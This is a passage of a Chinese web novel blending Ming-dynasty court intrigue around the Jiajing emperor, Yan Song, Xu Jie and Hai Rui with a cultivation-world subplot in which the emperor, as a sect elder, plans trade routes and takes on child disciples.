自家皇帝,他们可太清楚为人了。 要么就是知道自己成仙无望,或许是身体真的到了大限了,所以开始为身后事做准备了。 至于陛下在他们面前表现的面色红润,这还用说吗?皇帝想要隐藏病情,谁能知晓? 而且,以自家皇帝的手腕,谁敢去探听这些,谁家没有几个锦衣卫卧着? 一旦被知道探查皇帝身体,那就等死吧。 这一刻,所有人,包括严嵩,以及徐阶,似乎都猜到了,皇上他,大限将至了! “我能谁想到这点,严嵩也必然能想到,所以,他定然也会采取相同的举动。接下来,他或许会拼了命的助力景王,扳倒殿下!” 徐阶,这位向来在严嵩锋芒下,似乎表现的极为内敛,几次交锋都弱势无比的老人。 终于在这一刻,露出了他的锋芒。 因为他跟严嵩的看法一样,皇上近来的反常举动,可能真的大限将至了。 接下来,北边清流和严党的决斗,最终会演变成储君之争的延伸。 赢了,不光嘉靖这一朝富贵,新朝也会屹立不倒,输了,结局将注定惨烈! “所以,殿下,准备做好储君之争吧!” “……” 第六十六章 海瑞交代后事,我,海瑞,死谏苍天! 又来了,储君之争! 徐阶的一番话,让裕王瞳孔颤抖。 宽大袖袍里的拳头,捏的‘嘎吱吱’响,心中满满的全都是不甘。 储君之争,其实对他来说,已经经历过了一次。 上次,得益于祖制礼法,大义等等,甚至加上了一些大臣的性命,才将老四赶走。 老四即便是被赶出了京城,去了德安就藩,但对他的威胁,可以说是始终存在。 因为严党就是支持老四的。 只要严党不灭,老四就始终有那个机会回来,而这也是他全力支持清流的原因。 只有清流帮他斗倒了严党,老四一系才会遭到清算,他才能成为最后的胜利者。 这些年,清流日益壮大,而严党也错误不断,让他越发觉得如今的位子稳当了起来。 可是现在,父皇突然“回光返照”要为后继之君扫清障碍,而清流跟严党的胜负也在其中后,让他心中感到了前所未有的威胁。 也就是说,这是最后一次储君之争了! “本王,明白了!”裕王深吸一口气,看着徐阶等人,严肃道:“诸位,一时的得失已经不重要了,接下来打倒严嵩才是重中之重。” “甚至,”说到这里,裕王眼神中浮现出一抹冷光,“就算本王占不到便宜,也绝对不能让景王好过,这注定是一场殊死之战。” “本王,就全仰仗诸位了!” 一番话说完,徐阶、高拱、张居正、赵贞吉,此刻都是面容严肃了下来。 而后齐齐起身对裕王拱手,道:“我等定当全力以赴,不负殿下所托!” 在场,即便是经过东南之事,对徐阶有所微词,甚至是不满的高拱,此刻也暂时放下了心中的成见,他明白现在敌人是谁。 相比于徐阶家族的那些事,在他看来严党才是最大的危害,若是让景王成为储君,那后果真的就不堪设想了。 因此,这个时候,他们必须要团结一心,先对付共同的敌人,其他的暂且不谈。 东南,定海县。 夜色晴朗,明月高悬。 柔和如水的月光撒下,此时定海县的县衙大堂内,却是灯火通明。 “国师,以上便是这些时日,下官在定海县查案的全部卷宗,还请国师过目。”海瑞指了指长长案桌上,摆放成册的卷宗,对清风示意。 清风身旁的黄锦则是看了看这些卷宗,然后便不以为意了。 身为司礼监秉笔大监,东南的事他还能不知道?其实不光是他,朝中明眼人都知道。 让他没有想到的事,有,比如罗天大醮会突然失败,但绝对不包括东南这些案子。 看着面前的海瑞,黄锦心中却是一叹。 这是个好官,可惜了,他在东南搅动这么大的风浪,最后还是无法违拗大势。 在这大明朝,何为大势?那就是主子的意志! “嗯,我知道了。”清风点了点头,然后看向黄锦,“陛下可有说,这些卷宗如何处理?” 对于国事,清风是真的不懂。 按理说,她是钦差,案子是要她来查的,但现在案子都查完了,接下来呢?回京吗? “海知县,”黄锦微微一笑,上前道:“你的办案能力国师自然是相信的。” 说话间,黄锦看了眼清风,笑道:“案子既已经办妥,那便该抄的抄,该杀的杀。” “此间事了,我跟国师,明日便启程回京。”黄锦看着海瑞紧绷着的脸,微微一笑,道:“海知县,题本还是要尽早写的。” “想必不日,你的调命就会下来,届时皇上也是要过目的,毕竟此事闹得太大了。” “海瑞明白。”海瑞那张脸上,依旧没有什么表情,神情语气,都表现的很是冷淡。 倒是一旁的王用汲,知道海瑞心中多有不满,于是笑着道:“多谢黄公公提醒了。” 对黄锦道了谢后,王用汲这才不紧不慢的开口,说出了他想问的重点。 “罗天大醮本是为东南百姓祈福而设,如今被毁,就怕陛下怪罪下来……”说话间,王用汲看向这位懵懵懂懂的少女国师。 目光之中,全都是“国师你能明白我意思吧”的神色,他是真怕这小姑娘听不懂。 毕竟官场上,有些话,都是锣鼓听音的,根本不能说的太明白了。 不过好在,她身边跟着一个东厂提督。 “国师说了,心诚则灵,”黄锦第一时间站出来说官面话,“海知县、王主簿,罗天大醮有它存在的意义,也有它消失的意义。” “想必,你们二位都懂,上天是不会怪罪心诚之人的。”黄锦笑眯眯的说道。 王用汲看了眼默不作声的少女国师,再一听黄锦此话,哪里还不明白其中意思。 他自然知道罗天大醮存在的意义。 当然是在那把火烧起来,在那凶手和与凶手配合的定海卫指挥使的招供下,才明白的。 罗天大醮存在的意义是什么?就是一个平事的借口。心诚则灵,上天就不会怪罪?这说的是,皇上要的就是解决东南的事。 他要的,也是这一句确切的答案。 只要知道自己跟海瑞不会遭到责难,那一切就真的都结束了。 而黄锦的那句上面的调命下来,也说明了海瑞会被重用,如此那严党就更不会责难了。 一时间,王用汲只觉得全身轻松。 海瑞全程沉着脸,没有再多言一句,只是手掌不自觉的轻轻抚了抚胸口位置。这里,衣服的夹缝中缝着他写好后,就贴身藏着的奏疏。 他心中早有打算,自是无言。 因为所有的问题根源,都在京城皇宫里,如今说再多,已经毫无意义。 之后,黄锦又是跟王用汲一番客套后,便带着清风离开了大堂。 “明受,”等大堂内安静下来后,海瑞看向王用汲,“我能求你一件事吗?” 听到海瑞这话,王用汲一愣,继而故作生气,道:“你我二人,何来求之一字?” “多谢明受。”见王用汲如此,海瑞点了点头,道:“我此番进京,凶险难料,若有意外,家中老母,还请明受代我照料。” “刚峰,为何如此?!”听到海瑞这话,王用汲一惊,“你此番进京,必然会得到嘉奖……”说着,像是想到了什么,王用汲又道:“你莫不是还要揪着定海的案子不放” “不,”海瑞摇头,为了让王用汲放心,只是道:“定海县一案,已经了了。卷宗,罪证,都符合大明律法,我查无可查。” “我也不会再揪着这件事,”说着,海瑞看着王用汲,微微一笑,道:“到时候你就知道了,若是我真有個万一,那……” “那家母便由你代为养老了。此恩来世当牛做马,定当还报!” 看着海瑞这一副交代后事一般的模样,王用汲目光中满含担忧之色,张了张嘴几度想劝说些什么,可最终还是没能说出口来。 他了解海瑞,知道他定是要去做什么惊天大事,而且他决定了的,就不可能更改。 “好,我答应你!”于是,在海瑞赤红双目的注视下,王用汲闭上眼,重重点头! “人生得一知己,死而无憾!”海瑞双手搭在王用汲的肩膀上,严肃的面容露出笑容。 只等调命一到,便是他死谏苍天之时! “……” 第六十七章 班底! 一夜无话。 第二天,定海卫驻军开始对定海县内的商贾家族,周氏开始抄家。 当然,还有当地的士绅大族林家。 而与周氏往来的所有家族,直接辐射到了晋江县、以及整个东南。 所涉及的商人家族,全部证据确凿,由当地官府和驻军共同行动,开始抄家。 而那些士绅大族,也是一样的。 关于他们用非法手段,兼并土地的罪证,也是一夜之间,出现在了当地官府手中。 徐阶家族在东南的利益网络,无数结点至此消失。 一张大网,直接被捅出了一个豁口。 一时间,大量的钱财被查末,而那些土地,将由浙直总督胡宗宪直接接手,分配给军户,再加上有严党的准备,鼓励军田的口号也喊出。 也是因此,东南的消息,在严党有意宣传下,一日之内迅速传播。 东南之地,不少军户都听说朝廷要整顿军田,并且还有种种优惠政策。 虽然只是一些空穴来风,但却被传的有鼻子有眼的,倒是引起了一些波澜。 不过这些消息也没一会,就被扼制住。 这自然又是清流跟严党之间的一次交锋,但都是些小打小闹。 严党知道,这次的事平了,再闹下去,就是有违圣心,清流也知道这次的事就这么着了。 大家都知道,接下来双方真正的战场是北边,至于东南,依旧是维持现状。只等北边“两派战争”结束,才会有所变动。 严党和清流的猜测,东南的收尾工作,海瑞为死谏交代的后事,嘉靖都不知道。 因为此时,他已经准备进入修仙世界了。 残阳如血,天色渐暗,嘉靖抬手,将一小瓶,也就一两灵源,递给吕芳。 “这里头是一两灵源,”说着,嘉靖语气严肃认真,“你尚未踏入练气一层,不可直接吞服,每次只需舌尖轻沾,吞口水服下。” “之后,借着庞大的灵气,开始引气,突破练气一层之后,即可小口吞服。” 听到嘉靖这么说,吕芳神情严肃,道:“主子放心,奴婢定当谨记主子叮嘱!” “嗯,”嘉靖点了点头,道:“朕闭关期间,守好玉熙宫,不准任何人入内。” “朝中若有其他大事发生,照上次那样,每日在玉熙宫门口祷告,朕自会知晓。” “是!”吕芳点头,一一应下。 “下去吧……”该吩咐的都吩咐完后,嘉靖摆了摆手,等吕芳退下,关上大殿的门后,打出一道禁制符箓,封锁了玉熙宫。 而后心中一动,双眼缓缓闭上,沟通修仙世界。 “嗡。”随着空间涟漪波动,感受到那天地间,充斥而来的浓郁灵气,嘉靖双眼缓缓睁开。 大明的晚上,就是修仙世界的白天。 传承阁顶层,对面窗户外,天蒙蒙亮,不一会,橘黄色的朝阳从远处投射而来。 不一会的功夫,窗户彻底被照亮,缝隙里,刀片般的光束照进,空气中有些尘糜滚动。 嗯,就算是修仙世界,空气中除了灵气,还是有一些尘糜浮动的。 不过,这道道刀片一般的光束,看起来却是比大明的要更为纯粹,透亮一些。 撤去周围布下的道道禁制,开启传承阁顶层阵法后,嘉靖起身朝着楼梯口走去。 传承阁,总共有六层。 每一层都摆满了书架,不过上四层每层书架,大多都是空着的,只有地下两层摆满了,独孤三兄弟在各处淘来的功法,凡书。 嗯,凡书,自然是指那些凡人书籍,比如儒释道一些典籍,还有一些武道功法。 一些没有踏上仙途的凡人,也会选择武道之路,在另外一个‘世界’,过着另外一种生活。 第二层是之前‘黑风寨’收集的各种好的,坏的修仙功法,还有一些技艺传承。 第一层则是凡书,和修仙世界的一些常识性书籍,比如各种地图、古兽图鉴、人物志等等。 一路来到一层楼梯口,然后就听到刘权那沙哑熟悉的声音响起。 “我大明仙宗的四长老,姓朱,名聪。” 传承阁外,身穿黑衣,面容严肃的刘权,对着盘膝坐在传承阁外广场上的十二个少年男女说道。 “四长老,可是个天才,”一袭黑色宽大长袍,头发被扎起,看起来得体不少的刘权,环视下方,抬着小脑袋的小家伙,哼笑道: “你们知道,他踏上仙途时,多少岁吗?” 说话间,一张痞坏的中年大叔脸上,露出一抹笑容,道:“猜对的,奖励二两灵源!” 听到有奖问答,小家伙们的顿时来了兴趣,纷纷高举着手,大喊着“我我我”。 “嗯,第三排,最右边那個小胖,嗯,独孤东来是噶,就你了。”刘权指了指小胖子。 “咻咻!”被点到名,五岁的小胖吸了吸鼻涕,提了提裤子,道:“三岁!” 其他小家伙听到这话,都是紧张的看向刘权,希望听到回答错误。 “嘿嘿,不对,”刘权叉着腰,摇摇头,而后看向另外一个方向,“第二排,从左数第三个,就你了,刘家女子吧,你说。” “六岁!”扎着羊角辫,穿着朴素米色外衣的小女孩,眨了眨眸子,竖起一个小巴掌比了个“五”,然后又伸出另外一只手,竖起手指。 “不对!”刘权压了压手,示意她坐下,又连续点了几个小家伙,“不对,不对……” “好了,十二个人,都没猜对,奖励自然没有了,就罚你们将大明九奏乐章,抄写一百遍,明天一早,我要检查!” 刘权腹黑的声音落下,跟着就响起小家伙们的哀嚎声,也没说答错了还有惩罚呀。 大长老真坏!小家伙们,有些幽怨的看着刘权。 听到这里,嘉靖笑了笑,走下了楼,来到门外,这时刘权也跟着回过头来。 一张留有修剪整齐胡子的脸上,露出一抹笑容,道:“刚才我就发现了顶层禁制和阵法解除的灵气波动,知道你出关了……” “嗯,练气四层,还以为你又突破了呢。”说话间,刘权上下打量了眼嘉靖。 “一个月,只是让境界松动了一些,倒是没有太大收获。”嘉靖说着,目光看向下方好奇打量着自己的十二个小家伙。 一眼看去,最大的年龄大约有十二岁,小的则只有三四岁,每个小家伙都盘膝而坐。 一双双清澈的眸子里,透露着好奇之色。这段时间,刘权带他们见过好多宗门高层了。 这些小家伙,都是在山寨出生的,对山寨的高层都见过,唯一没见过的就两个。 一个是三长老柳源,另外一个就是眼前这个四长老,朱聪了。 “这才是常态,四层属于练气中期,境界上的突破,属于另一个阶段,自然难些……” 刘权笑着点了点头,道:“才一个月,就让境界有所松动了,估计再有一个月,就能突破练气五层了,到时候可就跟柳老持平了。” 听到这话,嘉靖不置可否的一笑。 不过是练气五层而已,距离筑基还很有一些距离,而且他的目标可不止这么点。 “倒是你,又突破了?”嘉靖能明显的感觉到,刘权的气息,也变得浑厚了。 “嗯,”刘权点点头,脸上露出得色,“练气九层,七跳九!” 七跳九?!听到这个消息,嘉靖也是心中一惊,刘权才是真的天才吧? “瞧你那样!”刘权翻了个白眼,“只准你修炼如飞,我跳个境界很惊讶吗?”说着,又无奈摆手,道:“得益于开辟战争啦。” “开辟战争,大家都有收获,那些古兽的血肉、还有一些灵药、奇珍都是修行路上,不可多得的东西,我是因为本命物有所增强,本命反哺之下,修为才有了这爆发。” 开辟战争啊,听到这里,嘉靖了然点头。同时对这开辟战争,也是有些向往起来。 “别想了,等掌门出关若是有所突破,剩下暂时无用的资源,他大概率会赏给弟兄们,”刘权看出嘉靖神情间的向往,笑了笑,道: “到时候,你应该也会有份的。” “掌门就是这性子,对兄弟们很大方!来,见见这些小家伙们,以后伱也要上心……” “我负责教他们修炼,你负责教他们做人。”说着,刘权看向这些小家伙,道:“这位就是我大明仙宗的四长老,都过来见礼!” 听到这话,一众小家伙们纷纷起身,对着嘉靖躬身一礼,稚嫩的童声响起。 “弟子,拜见朱长老!” 看着这十二个面容稚嫩的小家伙,嘉靖也收起心中所想,脸上露出一抹笑容,抬手虚扶。 “起来吧,”嘉靖眼底闪烁莫名之色,“以后尔等当以学生自居,可称呼我为先生!” 这些孩子,就是朕在修仙界的门生了。 当然,嘉靖心中的门生,可不是简单意义上的师徒,而是他在修仙界,要发展的班底! 这些孩子,未来会是大明仙宗的二代弟子,之后会随着时间的推移,成为中流砥柱。其中的某些人,也会被自己发展为心腹。 一瞬间,嘉靖想到了很多,很多,心中已是千般计较浮现,却是不足为他人道。 “……” 第六十八章 方寸之地,足以绕地球数匝矣 “先生出关的时间正是时候。” 安排十二个小家伙安静的坐在传承阁内,人手一本《修行通识纪要》阅读后,刘权跟嘉靖来到顶层会客厅内。 传承阁的顶层整体布局呈“皿”字。 左边是几排空荡荡的书架和一些桌椅,供人学习,中间是会客厅,最右边则是嘉靖内室。 此时,中间会客厅里,靠窗前的榻上,嘉靖跟刘权二人面对而坐,中间则是一张小桌,摆着几个茶盏,和一壶灵茶。 嘉靖闻言,端着茶盏的动作微微一顿,然后继续轻抿了一口,等着刘权的下文。 “你也知道,东荒疆域很大,”刘权组织了番语言,然后又道:“当初白马书院决定开辟东荒的时候,足足准备了将近一百二十年。” “这百二十年期间,东荒标记了总共十二处地点……” “这十二处地点大面积上归为四个部分,东北、东南、西南、西北……”刘权说着,手指沾了沾水,在桌上画了个“十”字标。 嘉靖静静的看着,而随着刘权的讲述,他的脑海中也跟着展开一副恢宏的地图来。 “每个部分有三处地点,”刘权指了指最东边,“四方城就在这,靠近东北部,最东边。” “其他地域先不说,”刘权摆摆手,食指戳在东南角,顺时针挨個指着,道: “四方城、东南城、南角域,三座大城……” “四方城到东南城的距离,书院给的最短距离是二十七万八千二百八十里,将近二十八万里路吧,嗯,不算远也不算近。” “朱雀丙火乙木梭这种运输型飞梭,全速赶路每时辰可行两千三百二十五里路,大概也就是十天左右的时间,但根本不可能这么快……” 听到这里,嘉靖微微点头。 因为朱雀丙火乙木梭的先天性设计上,根本不适合全速,只要你敢这么用,自燃率太高。 所以独孤英一直都当做是代步工具用的,又或者是短距离上的物资运输。 随着刘权的讲述,嘉靖对四方城为中心的地域范围,又有了一个深刻而清晰的认知。 “二十八万里路啊,”嘉靖心中不禁感慨,“方寸之地,足以绕地球数匝矣……” 想着,嘉靖心下又暗暗摇头。 大角星太大了,而东荒也不过是大角星的一隅之地而已,用地球当参照没意义。 “所以宗门是打算开辟商道吗?”听到这里,嘉靖差不多也听出点意思了。 之前刘权在牢里的时候,利诱柳源加入‘黑风寨’,为的不就是那一手飞梭制作手艺,从而开辟一条独属于大明的商道出来。 如今看来,这个计划是要提上日程了。 “不错,”刘权点了点头,“四方城几十年前建成,早早的就有一些高品级凡人家族入住了,各大坊市已经被瓜分……” 听到高品级凡人家族入住,嘉靖眼底闪过一抹了然之色,开辟战争准备了一百二十年。 如此恢宏无垠的一片疆域,就算独孤英是金丹期的大修士,放在这等层面也不够看。 之前刘权就提了一嘴,金丹期修士坐镇的势力能参与进来,也不过是书院仁慈。 足以看出,宏观层面的开辟战争,更上层会有多少来自东荒之外的大型宗门吃肉了。 兵马未动粮草先行的道理,这些大宗自然也懂,依附于这等庞然大物的凡人家族,定然是在这些修仙大城建立之初就开始了布局。 市场被瓜分,也属于是正常的。 恐怕“独孤家族”这个七品家族,能在四方城内占据一些好地段,也是书院保护作用。 “也因此,单靠四方城,根本不够,我们能制造飞梭,本可以赚更多,完全可以运输到其他大城,”说着刘权的面色有些阴沉,“但开辟商道,除了要有飞梭商队,还要有航线。” 听到这里,嘉靖哪里还能不明白,肯定是商道航线出问题了。 “我们在四方城东北方向,最东边的无涯林是‘御兽门’的地盘,西边靠近北境山脉,西北方是‘清源仙派’,最南边是‘黄风谷’!” 说到‘黄风谷’三个字的时候,刘权几乎是咬牙切齿。 嘉靖也回想起第一次入修仙界的时候,柳源原本就答应了入‘黄风谷’的,结果被当时还是‘黑风寨’的大明截胡。 而且,双方似乎本就有梁子。 “四方城上空是禁止飞行的,所以我们的商道航线,只能是最北边或最南边。” “不仅如此,就算突破了这两个仙派,还要路过‘小蜀山仙派’和‘无情山’两处。” “除了‘黄风谷’,其他三个我们都是不能招惹的。” “这些宗派的掌门修为虽然都不如掌门,但背景太大,像是那‘小蜀山仙派’乃是中原大型宗门,‘蜀山剑宗’的附属门派。” “无情山的背景尚不知,但宗派内全是女弟子,听说口号是仇恨天下男修,开辟战争时,对方掌门以筑基后期的修为,使用的却是一件灵器。” “清源仙派的掌门是金丹初期,身边有一个同境界的仆人……” 听到这里,嘉靖眼底有了然之色浮现。结合刘权难看的脸色,并不难猜到这点。 “黄风谷跟这三大宗派有关系?或者是其中之一有瓜葛?” “什么都瞒不过先生。”刘权叹息一声,而后脸色阴沉的恨声道:“那黄峰老儿,仙途止步金丹,但这老东西的儿女倒是争气!” “大女儿嫁给了清源仙派掌门当道侣!” “二女儿入了白马书院,小儿子听说本命物不凡,被小蜀山仙派的长老看中,带去了中原,应该是加入了蜀山剑宗……” “如此,在这片地域,黄风谷跟清源仙派,还有小蜀山仙派三者,形成了利益上的同盟。” “上下两条商道航线想要开辟,都绕不开黄风谷。最关键的是,这些宗门还不缺利益,更不缺像我们这样的商道航线。” “黄峰老儿,定然会借此机会,彻底封死我大明的路,让我们无法踏出去发展。” 说话间,刘权脸上全是阴郁之色。 “二位护法怎么说?”嘉靖面上倒是没有什么难色,而是缓声询问起来。 “嘿,”闻言,刘权倒是没有急着回答,而是抬眼看着嘉靖,嘿然一笑,道:“先生,说实话,您如此淡然,真让人有安全感!” 刘权这话确实是真心的。 似乎从他印象里第一次见到嘉靖开始,就不曾在的对方的神情中,看到过慌张之色。 除了一些大多数凡人接触修仙界时的惊讶之色外,嘉靖给他的感觉,太稳了。 这种稳,与修为无关,是一种心态。 包括这次他要开辟商道航线,貌似根本就是个无解之局,但在眼前之人神色间却看不出任何的忧色,而且听话音似乎并不放心上。 嗯,要么不关心,要么胸有成竹。 不过身为宗门高层,利益共同体,他相信肯定不会是前者,以他对嘉靖几次的表现来看,定然是这点事,在他看来不难。 “这事掌门压根不操心,”夸了嘉靖一句后,刘权继续道:“二位护法,就更不会操心了,问了就一句话……” “干架可以,动脑子的事别找他们。”说着,刘权苦笑摇头,“估计掌门也会这么说。” “老宋是宗门管家,柳老手艺人……”刘权摊了摊手,道:“所以这事就看我们的了。” “以后宗门的经营,还有发展方向上,大概率也会落在我们的肩膀上。掌门和二位护法的目标很明确,就是修炼,保证硬实力的强大!” “……” 第六十九章 我会给他一个无法拒绝的理由!难题?些许风霜尔尔! 听完刘权的这番话,嘉靖沉默了。 以他对英雄汉三兄弟的了解,确实如此,大明仙宗众多高层,彼此分工非常的明确。 掌门独孤英,修为最强,金丹期大修士。 他的作用就是武力威慑,同时保证一直强大下去就足够了。 至于左右护法,都不是擅长动脑的人,一个负责宗门防御,一个负责梳理维护灵脉。 可以说,这三兄弟就是整个宗门的硬性支撑。 二长老宋薪柴原本就是‘黑风寨’的管家,现在负责全宗门的修炼资源供给。 三长老柳源,加入大明仙宗之前,虽然也见过些世面,可性格注定他不适合做这些活。 如此,宗门的经营和大方向的发展上,就落在刘权这个此前的军师,如今的大长老头上。 之前是山寨,争地盘,打架,都是些小打小闹,而且还都是在规则之外的灰色地带发展,刘权还是能把控的过来的。 但如今,大明仙宗步入正轨,在书院登记在册,那自然就要遵守书院治下的规矩。 一些规则范围之内的行动,可以说是被束缚住了手脚,说白了就是之前那一套行不通了。 大角星修仙世界,是儒家书院治下,定制规则,仙门宗派发展经营,遵循宗法制。 当然,这个宗法制,跟历史上的宗法制可是有很大出入的。 这些,嘉靖在大明时还专门比对过。 这边宗法制其中一条就是新兴宗门三代掌门之内,是不被允许互相征伐和吞并的。 如此也就断绝了彼此之间,无谓的你死我活争斗,相当于是给本该是实力为尊,弱肉强食的修仙世界,套上了枷锁。 这個枷锁,可以看做是律法。 当然,规则内有规则内的玩法。 比如不允许互相吞并和攻伐,这其实个宽泛的概念,大体上就是说,不能以吞并为目的进行争斗,而如何判定,也是很复杂的。 若是有地区,宗门间发生大规模的冲突和流血事件,书院是要彻查,量刑的。 当冲突的规模,达到一定程度,那是完全可以看做是要吞并,毁宗灭族的。 而如果不是以吞并对方为目的的争斗,那里头的门道和说法,自然也就更多更复杂了。 比如说良性的宗门比斗、或者是小规模的冲突,这些也是各有各的评判标准。 这些繁杂,多变的条条框框,对普通修士来说,一般情况下是根本玩不转的。 大多数时候都是规规矩矩,老老实实修行,如果有些人想干杀人夺宝,走上邪路,若是被发现,要么伏诛,要么亡命天涯。 而相比于大明这种凡人世界,王朝律法之下,犯了事,普天之下莫非王土,迟早那把你逮到,然后该杀的杀,该判的判。 在修仙世界,又多了许多变故和可能。 你若是修为强横到抬手间秒杀九劫散仙,或者是能灭杀一堆九劫散仙,那自然无人敢说你什么,自然真的逍遥,说的话书院也要退避。 当然,你要想达到这种级别,就必须要有抬手灭杀一堆九劫散仙的修为,对,必须是一堆,还不能是一个两个那种。 而这个一堆是多少,呵,大角星有多少书院?就嘉靖了解到的,大角星修行界可不止一颗星,而是一组星,说白了就是星宿。 整个青龙星域,除了大角星,还有大亢星,说的也是星宿,也是儒家治下,又有多少? 因此,挑战书院的规矩,等同于挑战整个儒家,所以没有人可以质疑,挑战儒家! 儒家规则之下任何生灵,都只能是服从,学着去适应这个环境,而不是去反抗。 不过这些对于嘉靖来说却是舒适区。 从宏观上来看,这个修仙世界的儒家,就是个变异体,完全可以看做是“王朝”。 普通修士(民众),宗派(士绅大族、地方势力、个人组织)想要挑战规则(律法)? 等同于是挑战整个儒家(王朝)。 “先生,你可有想到其他办法?”刘权的声音,让嘉靖回过了神,也压下了心中的思绪。 “你与黄风谷有没有谈过?”嘉靖缓声开口。 “谈?”刘权砸了咂舌,道:“先生你是不知道,这次开辟战争期间,因为柳老的缘故,本就跟黄风谷不对付的我们可没少……”说着,刘权抬了抬手,对着喉咙比了个动作。 “黄风谷不少练气期的弟子都死了。” “掌门更是在开辟战争结束时,争夺咱们现在这块地的时候,当众抽了那老家伙两个大逼斗子,嘿嘿,老脸都抽肿了的那种。” “您说,咱们跟黄风谷,还有的谈吗?”刘权说着,有些无奈的摊了摊手,“早知道会这样,当初真该做事留一线的……” “无碍,”嘉靖说话间,拿起茶盏轻抿了一口,同时起身,道:“你亲自去一趟黄风谷,给黄……”说着,刘权跟着提醒,“黄峰。” “嗯,”嘉靖回头看向刘权,“给黄峰掌门下帖,邀他去四方城一叙。地点你要定好。” “先生,真有的谈?”刘权跟着嘉靖来到楼梯口,跟着下楼,嘴上还有些不自信,道: “这黄峰老儿脾气很冲,嘴也不干净,山贼行,这老家伙入的比我们还早,纯粹的很。不像我们,说话办事,很有讲究……” “我就怕他欺负您是读书人,有理也说不清,平白受了那鸟气……” “呵,”嘉靖慢悠悠的下着楼梯,语气温吞,“这世上没有什么事情是不能谈的,总会有一把钥匙,把双方的门都打开。” “关键就看双方愿不愿意拿出钥匙,让彼此开诚布公的谈一谈。” “我会给他一个无法拒绝的理由。” 看着嘉靖那淡然的背影,再听着这一番让人听了如饮甘泉美酒般,安全感爆棚的话,刘权心中数日来的阴霾,仿佛一下子散了。 一个眼下在他看来,根本无解的难题,在先生眼中,根本不算什么大事一样。 就像是榻上一片灰尘,随手可以抹去般轻松。 这个背影,像是记忆中,父亲伟岸的背影一样,高大,足以撑起一片天! 一时间,刘权不自觉的,只觉得卸下重担,将超出自己能力范畴的问题,交给更有能力之人手中的轻松感。 我就跑跑腿行了,天大的事,让高个子顶着就是了,嗯,先生就是那个高个子。 重担?这就重了吗? 对嘉靖来说,另一个世界,九州万方,都在他身上担着,他的难题,是世界级的。 眼下这些,不过些许风霜尔尔。 “……” 第七十章 族谱,未来心腹人选,嘉靖与他的学生们(求追读) “商谈的地点,就定在白马楼好了。”传承阁门口,刘权离开时说道:“属于书院麾下产业,很多散修或者势力都习惯在这里谈。” “没有人敢在这里闹事,双方都会比较放心些,不用担心被暗算这种情况。” “都可,”嘉靖站在台阶上,看着站在下几级台阶上的刘权,点了点头,“你亲自去。” 在哪里谈,对嘉靖来说并不重要,他是去谈事情的,又不是去想着暗算人的。 “成,那事不宜迟,我这就去了。”刘权点了点头,转身拿出飞毯,化作虹光而去。 目送刘权离去后,嘉靖转身步入了传承阁内。 此时,传承阁一楼中,十二个小家伙都正襟危坐,手捧着《修行通识纪要》。 嘉靖则是抬手拿出一本《弟子名录》,然后来到一层的左边角落坐下。 默默观察着那十二个看书的小家伙。 这十二个小家伙中,有六个是‘独孤家族’内的孩子。 也就是英雄汉三兄弟的家族成员。 嗯,说是三兄弟的家族,确切的说,其实就是独孤英一人的家族。 因为独孤雄跟独孤汉都是孤儿,他们二人的姓也是跟随大哥独孤英姓的。 独孤家族分为大房和二房。 大房也就是独孤英的爷爷,独孤酱。二房则是独孤英的二爷,独孤子。 独孤酱有两个孩子,分别是独孤英的父亲,独孤宝和独孤英的二叔独孤贝。 两兄弟都已经身死,独孤宝生独子,独孤英。独孤贝生子独孤坝,女独孤清清。 独孤坝又生独孤东来。 第一排的五岁小胖子,就是独孤东来。 如今,独孤家族的族长,也就是大房就是独孤英的堂弟独孤坝。 而在小胖子身边,则坐着一個乖巧的小女孩,名叫李鱼,独孤清清的独女。独孤清清夫妇二人在一次战斗中身死。 独孤家族二房独孤子生独孤天和独孤地。 独孤天,又生子独孤石和独孤继,二人分别是独孤家的大长老和二长老。 独孤石再生子独孤傲和女独孤红叶。 兄妹二人,坐在第二排。 独孤傲六岁,皮肤白皙,名如其人,小小年纪,眉宇间,颇有几分傲气。独孤红叶,则是文静许多,双眼皮,眸眼灵动,可爱。 独孤继生子,独孤秋、独孤冬和女独孤夏。这三兄妹坐在第三排位置上。 至于独孤地,生子独孤盘、独孤古,全部身死,在家族就是当个族老好生养活着。 嘉靖的目光打量着这十二个孩子的座次,心下了然,这恐怕是刘权刻意为之。 一共四排,每一排有三个孩子。 第一排,独孤东来、李鱼,还有个皮肤黝黑,看起来憨憨厚厚,年龄约莫八岁的孩子,名叫许山,貌似是宗门刑堂之主,许天的儿子。 许天,练气三层的修为,性格严肃,一丝不苟,但却是独孤英的心腹。 第二排,独孤傲和独孤红叶是亲兄妹,二人身边坐着的是一个十岁男孩。 第三排,独孤秋、冬、夏三兄妹。最后一排,则是现如今普通弟子的孩子。 一共十二个人,却是隐隐有平衡派系的意思。 “刘权对掌门确实忠心,”嘉靖的目光看向第一排那个眼珠子‘滴溜溜’转,毫无心思读书的小胖子,独孤东来,暗道: “独孤英的父亲独孤宝、二叔独孤贝。” “独孤东来的父亲独孤坝是独孤家的家主,亲疏远近…这独孤东来,还有那个没有父母的李鱼,这二人就是独孤英的嫡系。” “所以,刑堂之主的嫡子安排在了二人身边,刑堂掌管宗门刑罚,权力不小……” “二排和三排,则是二房大长老和二长老的孩子,彼此制衡,这个刘权……”看着这些孩子的背景信息,嘉靖心底轻笑一声。 “不愧是能做军师的,之前给他讲的平衡之道,他倒是真理解,并提前用上了。” 凡人家族,是宗门初期发展的关键! 家族利益与宗派利益,可以说是直接挂钩的。 现如今不论是宗派还是家族都在初步发展中,利益,派系纠葛还没有那么深。 但这在嘉靖当初给宗门做内部‘架构’时,就给英雄汉三兄弟和刘权就讲过了,要提前做好平衡,御下的准备。 独孤三兄弟满脑子肌肉,心有余却力不足,但他们不注意,刘权却始终放在了心上。 因此刘权就提前在宗门内给这些孩子,进行了阵营派系的安排和划分。 防的就是日后宗门发展,势力渐大,家族和宗门之间,因为利益的关系内部混乱。 独孤雄和独孤汉二人没有族人,毫无疑问是支持独孤英的,接下来就是在家族层面,巩固独孤英的地位,让他掌门之位或者说是利益越发牢靠。 这么安排,显然是没有任何问题的。 此刻,嘉靖对独孤三兄弟和刘权之间的情谊,又有了一个深刻的认知。 “徐时行、丰胜、刘薇……”嘉靖的目光定在除了那个许山,还有二排的孩子的名字上掠过后,看向了第四排的三个孩子。 “这三人,应当是我的心腹!” 徐时行,十二岁,是十二个孩子里年龄最大的,浓眉大眼,看起来很是忠厚。 一身墨绿色麻衣,让其看起来越发的稳重。 丰胜,十岁,瘦瘦弱弱,有些营养不良的样子,身穿白色麻衣,像是个小书生。 刘薇,小女孩,三岁,头上扎着两个羊角辫,身穿米色麻衣,气质上看起来很普通。 